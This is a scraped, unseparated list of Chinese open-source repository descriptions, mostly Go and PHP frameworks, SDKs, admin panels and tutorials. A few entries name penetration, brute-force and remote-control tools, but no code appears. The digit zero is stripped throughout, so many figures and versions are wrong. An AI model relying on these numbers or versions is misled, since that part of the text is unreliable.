XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 